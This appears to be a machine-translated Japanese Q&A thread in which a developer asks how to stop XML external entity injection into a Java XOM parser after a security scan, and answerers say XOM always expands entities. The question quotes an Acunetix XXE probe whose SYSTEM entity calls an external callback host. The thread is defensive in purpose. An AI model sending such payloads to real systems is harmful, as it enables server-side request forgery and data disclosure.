1

私は以下のようなxmlコードを持っています:

  <request><param name=\"client-id\" value=\"organization\"/><param name=\"client-org-id\" value=\"3042d80e24cd4cc31eb9ef48e7012\"/><param name=\"user-agent\" value=\"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0\"/><param name=\"client-browser\" value=\"Firefox 48\"/><param name=\"domain-id\" value=\"layout\"/><param name=\"view-id\" value=\"1\"/><param name=\"view-token\" value=\"layout|get-workspace|\"/><param name=\"view-action\" value=\"private.layout:get-workspace\"/><param name=\"view-parent-id\" value=\"\"/><param name=\"view-parent-token\" value=\"\"/><param name=\"view-parent-action\" value=\"\"/></request>

ここでは、上記の xml を文字列として取得しており、XOM パーサーを使用して xml を解析しています。今私の問題は、アプリケーションがセキュリティ スキャンを通過し、XML 文字列を取得するためのパラメーターが以下のように外部 XML を挿入していることです。

<?xml version=\"1.0\" encoding=\"utf-8\"?><!DOCTYPE acunetix [><!ENTITY acunetixent SYSTEM \"http://hitrlWBrzWDQ0.bxss.me/\">]><xxx>&acunetixent;</xxx>

だから私は外部エンティティを防ぎたいです。私にとって最善の解決策は何ですか。または、xsd を使用して XML を解析するときに xml の ENTITY タグを回避するためのソリューション。前もって感謝します。

4

2 に答える 2

1

XOMではできないのではないかと心配しています

http://www.xom.nu/infoset.xhtmlで、次を読むことができます

すべてのエンティティ参照が展開されます。XOM は、展開されていないエンティティー参照を許可しません。

于 2016-09-21T09:46:22.100 に答える
0

まず、あなたが投稿したものはXMLではありません。投稿した内容が整形式になるようにするには、二重引用符の前にあるすべてのバックスラッシュ\文字を削除する必要があります。"

だから私は外部エンティティを防ぎたいです。

これにより、外部エンティティが XML に挿入されるのを防止したいという意味であれば、私たちもあなたもおそらくそれを挿入するセキュリティ スキャンを制御できないため、私たちはおそらくあなたを助けることはできません.

これにより、エンティティ参照が展開されないようにすることを意味する場合は、XML パーサーはエンティティ参照を展開する必要があり、通常、この動作をオーバーライドする方法を提供しないことに注意してください。@innovimax (+1) は、XOM がそうではないことを既に文書化しています。エンティティ参照が高度にわかっている場合の XSLT のハックについては、こちらを参照してください。

最後に、リクエストのどちらの解釈においても、XSD は何の役割も果たさないことに注意してください。

于 2016-09-21T12:37:14.453 に答える